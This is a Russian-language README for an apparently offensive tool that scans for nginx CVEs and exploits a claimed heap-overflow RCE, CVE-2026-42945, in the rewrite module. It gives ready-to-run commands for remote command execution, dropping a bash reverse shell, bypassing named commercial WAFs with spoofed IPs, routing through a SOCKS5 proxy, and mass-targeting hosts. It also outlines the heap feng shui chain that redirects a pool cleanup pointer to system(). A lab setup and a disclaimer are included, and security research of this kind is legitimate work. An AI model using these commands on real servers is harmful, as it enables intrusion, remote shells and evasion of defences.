nGixshell

nGixShell — это сканер CVE-уязвимостей nginx и фреймворк для эксплуатации RCE. Он включает рабочий proof-of-concept для CVE-2026-42945 — критического переполнения буфера в куче в ngx_http_rewrite_module — а также сканер, охватывающий 53 CVE-уязвимости nginx, с автоматическими HTTP-пробами, снятием отпечатков (fingerprinting), обнаружением и обходом WAF, аудитом веб-безопасности и генерацией отчётов.

Ноль внешних зависимостей. Чистый Python 3 stdlib.

Быстрый старт

# Spin up the vulnerable lab
docker compose -f env/docker-compose.yml up -d

# Auto mode — fingerprint + CVE scan + web audit
python3 ngixshell.py 127.0.0.1:19321

# Execute a command via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'

# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass

# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443

# Multiple targets from a file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

Флаги не требуются — указание цели запускает всё автоматически.
TLS определяется автоматически. Отпечаток nginx снимается даже при server_tokens off.

Использование

python3 ngixshell.py [TARGET] [OPTIONS]

TARGET formats:
  127.0.0.1
  192.168.1.10:8080
  http://192.168.1.10:8080
  https://target.local

Режимы

Обнаружение и обход WAF

Техники обхода (все активны при установке --waf-bypass):

Обнаруживаемые WAF: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence

Веб-аудит

Запускается автоматически в режиме сканирования. Все модули можно пропускать по отдельности.

• Аудит заголовков — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, заголовки, раскрывающие версию
• Обнаружение путей — 50+ путей; сторожевая проба устраняет ложные срабатывания от catch-all правил 403/301
• Перечисление виртуальных хостов — требует различий и в статусе, и в теле ответа, чтобы избежать ложных срабатываний на блоке по умолчанию
• Аудит TLS — проверяет поддержку TLS 1.0–1.3, срок действия сертификата и обнаружение самоподписанных сертификатов
• stub_status — разбирает метрики активных соединений из /nginx_status, если он открыт

Подключение

HTTP

Ограничение скорости / тайминг

Вывод

Покрытие CVE

53 записи за 2009–2026 гг. Отсортировано по CVSS.

Уязвимость (CVE-2026-42945)

Движок rewrite-скриптов nginx использует модель из двух проходов: сначала вычисляется размер буфера, затем выполняется копирование. Флаг is_args устанавливается в основном движке, когда замена в rewrite содержит ?, но проход вычисления длины выполняется на заново обнулённом под-движке:

• Проход длины — видит is_args = 0 → возвращает исходную длину захвата
• Проход копирования — видит is_args = 1 → вызывает ngx_escape_uri(NGX_ESCAPE_ARGS), расширяя каждый небезопасный байт до 3 байт

Копирование переполняет буфер кучи недостаточного размера данными URI, контролируемыми атакующим. Эксплуатация повреждает соседний указатель очистки ngx_pool_t с помощью межзапросного heap feng shui, перенаправляя его на поддельный ngx_pool_cleanup_s, который вызывает system() при уничтожении пула.

Затронутые версии

Бюллетень вендора: https://my.f5.com/manage/s/article/K000160932

Лабораторная среда

Протестировано на Ubuntu 24.04 LTS. Требуются Docker и Python 3.8+.

# Start the vulnerable lab (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d

# Full scan
python3 ngixshell.py 127.0.0.1:19321

# RCE with JSON output
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json

# Reverse shell — bash payload, PTY auto-upgrade
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell

# WAF bypass scan with spoofed IP
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1

# Through SOCKS5 proxy
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050

# Subdomain scan with rate limiting
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10

# Multiple targets, JSON output, HTML report
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html

Отказ от ответственности

Только для авторизованного тестирования безопасности, CTF-соревнований и исследований.